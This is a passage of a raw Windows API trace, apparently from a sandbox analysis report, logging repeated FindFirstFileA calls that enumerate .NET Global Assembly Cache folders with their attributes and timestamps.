ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61786e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61786e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.407] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\MSBuild\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61786e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61786e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.411] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\MSBuild\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x619e840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x619e840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.417] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\mscorlib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb7eb8a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x619e840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x619e840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.421] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb7eb8a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x619e840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x619e840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.427] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\napcrypt\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdba4ce4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x61c49a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61c49a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.432] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\napcrypt\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdba4ce4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x61c49a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61c49a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.437] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\naphlpr\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdba4ce4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x61c49a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61c49a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.442] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\naphlpr\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdba4ce4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x61eab00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61eab00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.447] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.0.Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61eab00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61eab00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.452] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.0.Microsoft.Ink\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61eab00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61eab00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.460] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.0.Microsoft.Interop.Security.AzRoles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdba4ce4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6210c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6210c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.469] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.0.Microsoft.Interop.Security.AzRoles\\6.1.7600.16385__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6210c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6210c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.477] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.2.Microsoft.Interop.Security.AzRoles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6236dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6236dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.485] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.2.Microsoft.Interop.Security.AzRoles\\6.1.7600.16385__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6236dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6236dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.492] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.7.Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x625cf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x625cf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.499] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.1.7.Microsoft.Ink\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x625cf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x625cf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.506] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.6.0.Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6283080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6283080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.512] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Policy.6.0.Microsoft.Ink\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6283080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6283080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.520] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\PresentationCore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62a91e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62a91e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.526] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\PresentationCore\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62a91e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62a91e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.534] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a91e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62a91e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.538] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cf340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62cf340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.544] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Data.OracleClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cf340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62cf340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.549] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Data.OracleClient\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbcae3e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cf340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62cf340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.554] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.EnterpriseServices\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62f54a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62f54a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.559] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.EnterpriseServices\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62f54a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62f54a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.564] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Printing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62f54a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x62f54a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.570] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Printing\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x631b600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x631b600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.578] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Transactions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x631b600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x631b600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.670] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63ffe40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x63ffe40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.706] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6472260, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6472260, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.717] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\System.Web\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6472260, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6472260, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.724] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdbf0f98, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x64983c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64983c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0229.731] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\AuditPolicyGPManagedStubs.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x64983c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64983c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.736] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\AuditPolicyGPManagedStubs.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x64983c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64983c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.741] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\BDATunePIA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x64be520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64be520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.746] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\BDATunePIA\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x64be520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64be520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.752] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\CustomMarshalers\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x64be520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64be520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.757] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x64e4680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64e4680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.762] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\ISymWrapper\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x64e4680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64e4680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.766] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\ISymWrapper\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x64e4680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x64e4680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.772] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\mcstoredb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, 